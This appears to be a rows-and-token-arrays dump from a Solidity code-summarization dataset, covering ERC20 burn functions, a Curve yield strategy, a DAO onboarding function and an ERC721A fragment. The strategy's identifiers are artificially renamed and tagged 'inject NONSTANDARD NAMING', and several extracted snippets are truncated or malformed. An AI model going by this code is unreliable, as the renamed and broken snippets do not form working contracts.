-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xAD7479fF14cB206EdDa9e884B01e1245FFE8d967/sources/browser/ERC20Burnable.sol | * @title Burnable Token @dev Token that can be irreversibly burned (destroyed)./ | contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
function _burn(address who, uint256 value) internal {
super._burn(who, value);
}
} | 2,999,089 | [
1,
38,
321,
429,
3155,
225,
3155,
716,
848,
506,
9482,
266,
2496,
24755,
18305,
329,
261,
11662,
329,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
3462,
38,
321,
429,
353,
4232,
39,
3462,
288,
203,
203,
565,
445,
18305,
12,
11890,
5034,
460,
13,
1071,
288,
203,
3639,
389,
70,
321,
12,
3576,
18,
15330,
16,
460,
1769,
203,
565,
289,
203,
203,
565,
445,
18305,
1265,
12,
2867,
628,
16,
2254,
5034,
460,
13,
1071,
288,
203,
3639,
389,
70,
321,
1265,
12,
2080,
16,
460,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
70,
321,
12,
2867,
10354,
16,
2254,
5034,
460,
13,
2713,
288,
203,
3639,
2240,
6315,
70,
321,
12,
3350,
83,
16,
460,
1769,
203,
565,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
interface IERC20 {
function TOTALSUPPLY419() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF996(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER376(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE696(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE263(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM581(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER351(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL946(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD509(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB882(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB882(a, b, "SafeMath: subtraction overflow");
}
function SUB882(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL339(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV809(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV809(a, b, "SafeMath: division by zero");
}
function DIV809(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD891(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD891(a, b, "SafeMath: modulo by zero");
}
function MOD891(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT313(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function TOPAYABLE45(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE473(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER885(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFER376.selector, to, value));
}
function SAFETRANSFERFROM553(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.TRANSFERFROM581.selector, from, to, value));
}
function SAFEAPPROVE341(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE696(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, value));
}
function SAFEINCREASEALLOWANCE60(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).ADD509(value);
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE623(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE696(address(this), spender).SUB882(value, "SafeERC20: decreased allowance below zero");
CALLOPTIONALRETURN246(token, abi.encodeWithSelector(token.APPROVE263.selector, spender, newAllowance));
}
function CALLOPTIONALRETURN246(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).ISCONTRACT313(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface IController {
function WITHDRAW936(address, uint256) external; //inject NONSTANDARD NAMING
function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING
function EARN112(address, uint256) external; //inject NONSTANDARD NAMING
function WANT318(address) external view returns (address); //inject NONSTANDARD NAMING
function REWARDS351() external view returns (address); //inject NONSTANDARD NAMING
function VAULTS378(address) external view returns (address); //inject NONSTANDARD NAMING
function STRATEGIES650(address) external view returns (address); //inject NONSTANDARD NAMING
}
//
interface Gauge {
function DEPOSIT828(uint256) external; //inject NONSTANDARD NAMING
function BALANCEOF996(address) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAW936(uint256) external; //inject NONSTANDARD NAMING
}
//
interface Mintr {
function MINT422(address) external; //inject NONSTANDARD NAMING
}
//
interface Uni {
function SWAPEXACTTOKENSFORTOKENS240( //inject NONSTANDARD NAMING
uint256,
uint256,
address[] calldata,
address,
uint256
) external;
}
//
interface ICurveFi {
function GET_VIRTUAL_PRICE800() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external;
function ADD_LIQUIDITY808( //inject NONSTANDARD NAMING
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function REMOVE_LIQUIDITY_IMBALANCE228(uint256[4] calldata amounts, uint256 max_burn_amount) external; //inject NONSTANDARD NAMING
function REMOVE_LIQUIDITY138(uint256 _amount, uint256[4] calldata amounts) external; //inject NONSTANDARD NAMING
function EXCHANGE730( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
}
interface Zap {
function REMOVE_LIQUIDITY_ONE_COIN571( //inject NONSTANDARD NAMING
uint256,
int128,
uint256
) external;
}
//
// NOTE: Basically an alias for Vaults
interface yERC20 {
function DEPOSIT828(uint256 _amount) external; //inject NONSTANDARD NAMING
function WITHDRAW936(uint256 _amount) external; //inject NONSTANDARD NAMING
function GETPRICEPERFULLSHARE410() external view returns (uint256); //inject NONSTANDARD NAMING
}
//
interface VoterProxy {
function WITHDRAW936( //inject NONSTANDARD NAMING
address _gauge,
address _token,
uint256 _amount
) external returns (uint256);
function BALANCEOF996(address _gauge) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWALL4(address _gauge, address _token) external returns (uint256); //inject NONSTANDARD NAMING
function DEPOSIT828(address _gauge, address _token) external; //inject NONSTANDARD NAMING
function HARVEST862(address _gauge) external; //inject NONSTANDARD NAMING
function LOCK494() external; //inject NONSTANDARD NAMING
}
//
contract StrategyCurveBUSDVoterProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant want963 = address(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B); //inject NONSTANDARD NAMING
address public constant crv787 = address(0xD533a949740bb3306d119CC777fa900bA034cd52); //inject NONSTANDARD NAMING
address public constant uni793 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING
address public constant weth737 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address public constant dai668 = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //inject NONSTANDARD NAMING
address public constant ydai985 = address(0xa3Aa4a71dBb17EBF2108A75b0BB7eFd9955463EF);//itoken //inject NONSTANDARD NAMING
address public constant curve489 = address(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); //inject NONSTANDARD NAMING
address public constant gauge170 = address(0x69Fb7c45726cfE2baDeE8317005d3F94bE838840); //inject NONSTANDARD NAMING
address public constant voter494 = address(0x07443C1cdb3653746727D595D2c1e5B438e0535A);//CurveYCRVVoter //inject NONSTANDARD NAMING
uint256 public keepCRV = 1000;
uint256 public constant keepcrvmax536 = 10000; //inject NONSTANDARD NAMING
uint256 public performanceFee = 3000;
uint256 public constant performancemax55 = 10000; //inject NONSTANDARD NAMING
uint256 public withdrawalFee = 50;
uint256 public constant withdrawalmax744 = 10000; //inject NONSTANDARD NAMING
address public proxy;
address public governance;
address public controller;
address public strategist;
constructor(address _controller) public {
governance = msg.sender;
strategist = msg.sender;
controller = _controller;
}
function GETNAME315() external pure returns (string memory) { //inject NONSTANDARD NAMING
return "StrategyCurveBUSDVoterProxy";
}
function SETSTRATEGIST730(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETKEEPCRV658(uint256 _keepCRV) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
function SETWITHDRAWALFEE696(uint256 _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function SETPERFORMANCEFEE960(uint256 _performanceFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function SETPROXY105(address _proxy) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
proxy = _proxy;
}
function DEPOSIT828() public { //inject NONSTANDARD NAMING
uint256 _want = IERC20(want963).BALANCEOF996(address(this));
if (_want > 0) {
IERC20(want963).SAFETRANSFER885(proxy, _want);
VoterProxy(proxy).DEPOSIT828(gauge170, want963);
}
}
// Controller only function for creating additional rewards from dust
function WITHDRAW936(IERC20 _asset) external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
require(want963 != address(_asset), "want");
require(crv787 != address(_asset), "crv");
require(ydai985 != address(_asset), "ydai");
require(dai668 != address(_asset), "dai");
balance = _asset.BALANCEOF996(address(this));
_asset.SAFETRANSFER885(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW936(uint256 _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want963).BALANCEOF996(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME256(_amount.SUB882(_balance));
_amount = _amount.ADD509(_balance);
}
uint256 _fee = _amount.MUL339(withdrawalFee).DIV809(withdrawalmax744);
IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee);
address _vault = IController(controller).VAULTS378(address(want963));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want963).SAFETRANSFER885(_vault, _amount.SUB882(_fee));
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL4() external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
_WITHDRAWALL830();
balance = IERC20(want963).BALANCEOF996(address(this));
address _vault = IController(controller).VAULTS378(address(want963));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want963).SAFETRANSFER885(_vault, balance);
}
function _WITHDRAWALL830() internal { //inject NONSTANDARD NAMING
VoterProxy(proxy).WITHDRAWALL4(gauge170, want963);
}
function HARVEST862() public { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == governance, "!authorized");
VoterProxy(proxy).HARVEST862(gauge170);
uint256 _crv = IERC20(crv787).BALANCEOF996(address(this));
if (_crv > 0) {
uint256 _keepCRV = _crv.MUL339(keepCRV).DIV809(keepcrvmax536);
IERC20(crv787).SAFETRANSFER885(voter494, _keepCRV);
_crv = _crv.SUB882(_keepCRV);
IERC20(crv787).SAFEAPPROVE341(uni793, 0);
IERC20(crv787).SAFEAPPROVE341(uni793, _crv);
address[] memory path = new address[](3);
path[0] = crv787;
path[1] = weth737;
path[2] = dai668;
Uni(uni793).SWAPEXACTTOKENSFORTOKENS240(_crv, uint256(0), path, address(this), now.ADD509(1800));
}
uint256 _dai = IERC20(dai668).BALANCEOF996(address(this));
if (_dai > 0) {
IERC20(dai668).SAFEAPPROVE341(ydai985, 0);
IERC20(dai668).SAFEAPPROVE341(ydai985, _dai);
yERC20(ydai985).DEPOSIT828(_dai);
}
uint256 _ydai = IERC20(ydai985).BALANCEOF996(address(this));
if (_ydai > 0) {
IERC20(ydai985).SAFEAPPROVE341(curve489, 0);
IERC20(ydai985).SAFEAPPROVE341(curve489, _ydai);
ICurveFi(curve489).ADD_LIQUIDITY808([_ydai, 0, 0, 0], 0);
}
uint256 _want = IERC20(want963).BALANCEOF996(address(this));
if (_want > 0) {
uint256 _fee = _want.MUL339(performanceFee).DIV809(performancemax55);
IERC20(want963).SAFETRANSFER885(IController(controller).REWARDS351(), _fee);
DEPOSIT828();
}
VoterProxy(proxy).LOCK494();
}
function _WITHDRAWSOME256(uint256 _amount) internal returns (uint256) { //inject NONSTANDARD NAMING
return VoterProxy(proxy).WITHDRAW936(gauge170, want963, _amount);
}
function BALANCEOFWANT761() public view returns (uint256) { //inject NONSTANDARD NAMING
return IERC20(want963).BALANCEOF996(address(this));
}
function BALANCEOFPOOL660() public view returns (uint256) { //inject NONSTANDARD NAMING
return VoterProxy(proxy).BALANCEOF996(gauge170);
}
function BALANCEOF996() public view returns (uint256) { //inject NONSTANDARD NAMING
return BALANCEOFWANT761().ADD509(BALANCEOFPOOL660());
}
function SETGOVERNANCE812(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETCONTROLLER990(address _controller) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
controller = _controller;
}
} | inject NONSTANDARD NAMING
| function _WITHDRAWSOME256(uint256 _amount) internal returns (uint256) { | 12,870,983 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
9147,
28446,
2651,
51,
958,
5034,
12,
11890,
5034,
389,
8949,
13,
2713,
1135,
261,
11890,
5034,
13,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x43Db1564c757410B031791C65bE972F4f861de15/sources/browser/LAOLAND.sol | ETH onboarding If the applicant sends ETH to onboard, use the msg.value as default token amount ERC20 onboarding | function onboard(
DaoRegistry dao,
address payable applicant,
address tokenToMint,
uint256 tokenAmount
if (tokenAddr == ETH_TOKEN) {
require(msg.value > 0, "not enough ETH");
tokenAmount = msg.value;
IERC20 token = IERC20(tokenAddr);
require(
token.allowance(msg.sender, address(this)) >= tokenAmount,
"ERC20 transfer not allowed"
);
require(
token.transferFrom(msg.sender, address(this), tokenAmount),
"ERC20 failed transferFrom"
);
}
(uint256 amountUsed, uint64 proposalId) =
_submitMembershipProposal(
dao,
tokenToMint,
applicant,
payable(msg.sender),
tokenAmount,
tokenAddr
);
| 16,275,052 | [
1,
1584,
44,
603,
3752,
310,
971,
326,
513,
1780,
970,
9573,
512,
2455,
358,
603,
3752,
16,
999,
326,
1234,
18,
1132,
487,
805,
1147,
3844,
4232,
39,
3462,
603,
3752,
310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
603,
3752,
12,
203,
3639,
463,
6033,
4243,
15229,
16,
203,
3639,
1758,
8843,
429,
513,
1780,
970,
16,
203,
3639,
1758,
1147,
774,
49,
474,
16,
203,
3639,
2254,
5034,
1147,
6275,
203,
3639,
309,
261,
2316,
3178,
422,
512,
2455,
67,
8412,
13,
288,
203,
5411,
2583,
12,
3576,
18,
1132,
405,
374,
16,
315,
902,
7304,
512,
2455,
8863,
203,
5411,
1147,
6275,
273,
1234,
18,
1132,
31,
203,
5411,
467,
654,
39,
3462,
1147,
273,
467,
654,
39,
3462,
12,
2316,
3178,
1769,
203,
5411,
2583,
12,
203,
7734,
1147,
18,
5965,
1359,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3719,
1545,
1147,
6275,
16,
203,
7734,
315,
654,
39,
3462,
7412,
486,
2935,
6,
203,
5411,
11272,
203,
5411,
2583,
12,
203,
7734,
1147,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
1147,
6275,
3631,
203,
7734,
315,
654,
39,
3462,
2535,
7412,
1265,
6,
203,
5411,
11272,
203,
3639,
289,
203,
203,
3639,
261,
11890,
5034,
3844,
6668,
16,
2254,
1105,
14708,
548,
13,
273,
203,
5411,
389,
9297,
13447,
14592,
12,
203,
7734,
15229,
16,
203,
7734,
1147,
774,
49,
474,
16,
203,
7734,
513,
1780,
970,
16,
203,
7734,
8843,
429,
12,
3576,
18,
15330,
3631,
203,
7734,
1147,
6275,
16,
203,
7734,
1147,
3178,
203,
5411,
11272,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x40C2CC31236635608771920b7043C04C0d4569d5/sources/y33ts.sol | * including the Metadata extension. Built to optimize for lower gas during batch mints. Assumes serials are sequentially minted starting at `_startTokenId()` (defaults to 0, e.g. 0, 1, 2, 3..). Assumes that an owner cannot have more than 264 - 1 (max value of uint64) of supply. Assumes that the maximum token id cannot exceed 2256 - 1 (max value of uint256)./ Reference type for token approval. | contract ERC721A is IERC721A {
function totalSupply() external view returns (uint256);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
